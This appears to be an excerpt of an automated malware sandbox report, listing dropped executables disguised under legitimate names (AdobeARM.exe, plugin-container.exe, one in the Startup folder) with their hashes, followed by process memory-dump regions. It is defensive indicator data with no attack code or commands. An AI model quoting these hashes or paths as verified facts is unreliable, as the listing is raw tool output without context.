0f0797603c97af939d52ec6d5d522e352c93bf4d

SHA256
9265917f2906f5fab310151ca030e0818c41f2362032319bfb54883911714833

SHA512
dbe1ce8a7d0835c94375a7131029838421acd906c8ff5220718f648cd8b3e00e5a97559fb78b5610a7918e4345ab495df45c0152494fa5147bb7ce368f48acb9

Download Submit
C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.5\RedistList\AdobeARM.exe

Filesize
2.6MB

MD5
a3a955b03820ce0a3c89042bfb371d59

SHA1
6c518f8c7f88bc7cb364c6b14779f9c684aa0daa

SHA256
2090d869a198b750255810358d60309c8f0dc386ab25515c9792eea960e71942

SHA512
42f876a695b83d9df84698500ddca1343c406874ed13fedcba08ebf7f1a8134b3cac3b136b635ac8535872d718bab5eb31094227bb8e5a89bb5637479dc8a074

Download Submit
C:\Program Files\VideoLAN\VLC\locale\fur\ccUpdMgr.exe

Filesize
2.6MB

MD5
4e360f89f6786ab9f58f20250022f0f5

SHA1
e59f67f40740c1545bc038fe259ffad69e5367a3

SHA256
16d9cf5c6225cf109c9e46970c37a5d93d870671d82539d3d70f1d0443979389

SHA512
80cb61c2d43526412793423fa78e18ace920464b15a5704fd72a56d154006bc0a49b8f1d31c935f5e326c5987b5b21b1bb9331f83c381ba3755f3a807ea65f1c

Download Submit
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\plugin-container.exe

Filesize
2.6MB

MD5
b4bee81fbe402c8df0ab397f69bb8222

SHA1
0f61fc3020cad5641ba64c36dff6f3c8cd2351bf

SHA256
8c22f8bcc5e24820bf672f227a333eb6db4cef7eabb1391328888323cbbbe9b8

SHA512
c11524de873dfa673cf96f22464769ca86ba6767f42df6392d6b807b79d7f8010f01c491e1add0803cb56a65d37e639e7605d315c0a14df12e7adda3907ee9cf

Download Submit
C:\Users\Admin\AppData\Local\Temp\~12591f26.exe

Filesize
2.6MB

MD5
7d4cde864d7fd1a85d3a4b7ce3dd676d

SHA1
d9c5ee8018ca17a038bc03d40d678ee13f7a71d0

SHA256
238a4313cef67fcd31a611fd974d9f8a607c708eba6883b7eca49a8f803c5e0d

SHA512
72b3d72103e3209dfe89062cc018462acd3057c0c2ea2fb8e71a921fe950d067475cabcdc409edc2d9b0298d943f03702cde8ae3a5a29feff337865bce61400f

Download Submit
C:\Users\Admin\AppData\Local\Temp\~12591f26.exe

Filesize
2.6MB

MD5
7d4cde864d7fd1a85d3a4b7ce3dd676d

SHA1
d9c5ee8018ca17a038bc03d40d678ee13f7a71d0

SHA256
238a4313cef67fcd31a611fd974d9f8a607c708eba6883b7eca49a8f803c5e0d

SHA512
72b3d72103e3209dfe89062cc018462acd3057c0c2ea2fb8e71a921fe950d067475cabcdc409edc2d9b0298d943f03702cde8ae3a5a29feff337865bce61400f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Proof\almon.exe

Filesize
2.6MB

MD5
c097cbcd90a69c014d488a9064129982

SHA1
f3e6052a5b6cb279f6977451fcc7b6da811b9724

SHA256
529ffd716e228aa05a74d8135432e4358786a15e9ed076c6d7cf9f0daae26ce0

SHA512
c56ef657113631822d4b356802ef40347232caa5456dbb4a690ae795847950fcfc9bafb198a1ae8e4f000e4553ea61a84a5022f45cf5d608a5f775df7cc48482

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe

Filesize
2.6MB

MD5
004b7f07b5518e30e98dd7b435ba7841

SHA1
e3fc6122f641e6a8f856e9f92b832307406cfabe

SHA256
3e216d1beeb40d80429758ede2f16269ea1223ebad36da39c85bbb3dec93f9a4

SHA512
acf0520038fb51a4e1b20ce21b3cc7b3dbaeb9d04e6171b8b575b6d6e894b5d829a7df9fbc199c4bf78ee25f196a33d424327002559cd526871d908fb19c1a7a

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\plugin-container.exe

Filesize
2.6MB

MD5
004b7f07b5518e30e98dd7b435ba7841

SHA1
e3fc6122f641e6a8f856e9f92b832307406cfabe

SHA256
3e216d1beeb40d80429758ede2f16269ea1223ebad36da39c85bbb3dec93f9a4

SHA512
acf0520038fb51a4e1b20ce21b3cc7b3dbaeb9d04e6171b8b575b6d6e894b5d829a7df9fbc199c4bf78ee25f196a33d424327002559cd526871d908fb19c1a7a

Download Submit
memory/204-160-0x0000000000000000-mapping.dmp

Download
memory/448-139-0x0000000000000000-mapping.dmp

Download
memory/1000-145-0x0000000000000000-mapping.dmp

Download
memory/1064-173-0x0000000000820000-0x0000000000867000-memory.dmp

Filesize
284KB

Download
memory/1064-169-0x0000000000820000-0x0000000000867000-memory.dmp

Filesize
284KB

Download
memory/1064-170-0x000000000082BC40-mapping.dmp

Download
memory/1064-172-0x0000000000820000-0x0000000000867000-memory.dmp

Filesize
284KB

Download
memory/1112-146-0x0000000000000000-mapping.dmp

Download
memory/1148-151-0x0000000000000000-mapping.dmp

Download
memory/1472-150-0x0000000000000000-mapping.dmp

Download
memory/1784-181-0x00000000008CBC40-mapping.dmp

Download
memory/1784-180-0x00000000008C0000-0x0000000000907000-memory.dmp

Filesize
284KB

Download
memory/1784-183-0x00000000008C0000-0x0000000000907000-memory.dmp

Filesize
284KB

Download
memory/1784-184-0x00000000008C0000-0x0000000000907000-memory.dmp

Filesize
284KB

Download
memory/1872-162-0x0000000000000000-mapping.dmp

Download
memory/1896-156-0x0000000000000000-mapping.dmp

Download
memory/2300-144-0x0000000000000000-mapping.dmp

Download
memory/2520-177-0x0000000000150000-0x0000000000197000-memory.dmp

Filesize
284KB

Download
memory/2520-175-0x000000000015BC40-mapping.dmp

Download
memory/2520-179-0x0000000000150000-0x0000000000197000-memory.dmp

Filesize
284KB

Download
memory/2520-178-0x0000000000150000-0x0000000000197000-memory.dmp

Filesize
284KB

Download
memory/2520-174-0x0000000000150000-0x0000000000197000-memory.dmp

Filesize
284KB

Download
memory/2728-158-0x0000000000000000-mapping.dmp

Download
memory/2940-189-0x00000000003A0000-0x00000000003E7000-memory.dmp

Filesize
284KB

Download
memory/2940-188-0x00000000003A0000-0x00000000003E7000-memory.dmp

Filesize
284KB

Download
memory/2940-186-0x00000000003ABC40-mapping.dmp

Download
memory/2940-185-0x00000000003A0000-0x00000000003E7000-memory.dmp

Filesize
284KB

Download
memory/3148-154-0x0000000000000000-mapping.dmp

Download
memory/3464-140-0x0000000000000000-mapping.dmp

Download
memory/3684-141-0x0000000000000000-mapping.dmp

Download
memory/3816-168-0x0000000000680000-0x00000000006C7000-memory.dmp

Filesize
284KB

Download
memory/3816-167-0x0000000000680000-0x00000000006C7000-memory.dmp

Filesize
284KB

Download
memory/3816-165-0x000000000068BC40-mapping.dmp

Download
memory/3816-164-0x0000000000680000-0x00000000006C7000-memory.dmp

Filesize
284KB

Download
memory/4456-142-0x0000000000000000-mapping.dmp

Download
memory/4496-132-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/4496-133-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/4496-137-0x0000000000400000-0x00000000004B3000-memory.dmp

Filesize
716KB

Download
memory/4608-152-0x0000000000000000-mapping.dmp

Download
memory/4612-134-0x0000000000000000-mapping.dmp

Download
memory/4804-143-0x0000000000000000-mapping.dmp

Download
memory/4952-138-0x0000000000000000-mapping.dmp

Download